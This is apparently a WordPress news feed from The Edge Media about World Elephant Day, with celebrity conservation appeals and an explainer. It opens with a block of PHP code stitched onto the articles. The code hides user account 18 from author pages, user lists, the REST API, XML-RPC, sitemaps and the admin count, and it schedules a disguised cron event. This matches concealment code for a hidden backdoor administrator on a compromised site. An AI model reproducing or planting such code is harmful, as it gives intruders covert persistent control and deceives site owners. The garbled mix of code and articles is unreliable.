add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Dia Mirza and Shruti Haasan request everyone to protect elephants appeared first on The Edge Media.
]]>Taking to Instagram, Dia penned a lengthy post explaining how human-elephant conflict has posed a major threat to elephants. “Let’s celebrate these incredible sentient beings today and every day. On this #WorldElephantDay pledge your support to protect and secure the #RightOfPassage to save our #Elephants.”
“Elephants are the gardeners of forests and have walked our Earth for Millenia but now because of human interference that has lead to fragmented forests, loss of forest cover, poaching, roads and highways our Elephants are in peril. Remember every being we share this planet with must be protected to secure the balance of our fragile ecological system that in turn provides us humans with all that we need to survive. Clean Air, water, food, peace, and health,” she wrote.
Take a look:
https://www.instagram.com/p/CSdkzBaDpUm/?utm_source=ig_web_copy_link
Shruti Haasan, who recently joined the World Wide Fund for Nature (WWF) India as a brand ambassador, has announced, “a unique art exhibition by @WWFIndia dedicated to the playful pachyderms.” “Make way for Little Trunkets. I am pleased to announce a unique art exhibition by @WWFIndia dedicated to the playful pachyderms. This #WorldElephantDay, let’s together aim to support the conservation of the mighty Asian elephant,” she tweeted.
See the tweet here :
World Elephant Day celebrated on August 12 is an international annual event, dedicated to the preservation and protection of the world’s elephants. The goal of World Elephant Day is to create awareness on elephant conservation and to share knowledge and positive solutions for the better protection and management of wild and captive elephants.
(ANI)
The post Dia Mirza and Shruti Haasan request everyone to protect elephants appeared first on The Edge Media.
]]>The post All you need to know about World Elephant Day appeared first on The Edge Media.
]]>Over the years, the initiative gained extensive support from celebrities, politicians and others.
World Elephant Day 2021: History
On August 12, 2012, the first World Elephant Day was observed, highlighting the plight of Asian and African elephants. The Thai-based Elephant Reintroduction Foundation, in collaboration with Canadian filmmaker Patricia Sims, organized the event for the day. And since 2012, The Sims has been a leader in World Elephant Day.
The day also focuses on spreading awareness about their preservation and protection. Notably, various threats including, poaching, habitat loss, mistreatment in captivity hover over elephants, especially Asian and African.
Over the years, Canadian filmmaker Patricia Sims’s charitable organisation World Elephant Society has educated many and has also created awareness on an international level for elephant protection.
The Society works in partnership with 100 elephant conservation organisations. Several organisations and individuals are urged to come together to raise awareness about the challenges that elephants face.
The organization’s “unbiased” approach allows and encourages campaigns by all groups and citizens under the common umbrella of “World Elephant Day”.
World Elephant Day 2021: Significance
According to recent data of WWF (World Wide Fund for Nature), there are roughly 440,000 elephants left on the planet. The WWF also revealed that every year around 15,000 elephants are hunted by poachers. It is not only our responsibility to take measures for their conservation but also create awareness about the possible ‘Elephant Extinction.’
Meanwhile, despite being cultural and religious icons in India, elephants are badly treated by unschooled mahouts. Many elephants fell prey to electrocution, train accidents, poaching and poisoning.
According to the World Wide Fund for Nature, the number of wild Asiatic elephants has dipped below 50,000, which is just 15% of its historic average. Wild Asiatic elephants are primarily found in India and in some parts of Southeast Asia.
World Elephant Day 2021: Support the cause
To observe World Elephant Day, Blue Dart will plant 1,031,170 trees for elephants on the outskirts of Dalma Wildlife Sanctuary in East Singhbum, Jharkhand. While Grow-Trees.com is planting millions of trees in Singhbhum Elephant Reserve, Jharkhand to repair fragmented migration routes, create sheltered and screened areas for elephants and expand habitats.
World Elephant Day 2021: Theme
This theme for this year’s World Elephant Day has not been announced, however, last year it was ‘Haathi Hamara Saathi.’
The post All you need to know about World Elephant Day appeared first on The Edge Media.
]]>